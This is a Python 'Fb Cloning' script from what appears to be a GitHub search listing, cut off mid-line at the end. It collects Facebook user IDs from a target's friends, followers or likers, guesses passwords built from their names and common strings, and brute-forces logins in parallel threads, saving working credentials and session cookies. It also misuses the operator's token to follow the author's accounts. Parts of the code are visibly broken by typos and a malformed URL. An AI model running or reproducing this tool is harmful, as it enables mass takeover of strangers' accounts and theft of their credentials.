257 skills found · Page 4 of 9
ahmar00987 / Fb Clonin#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------. (_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. | %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ 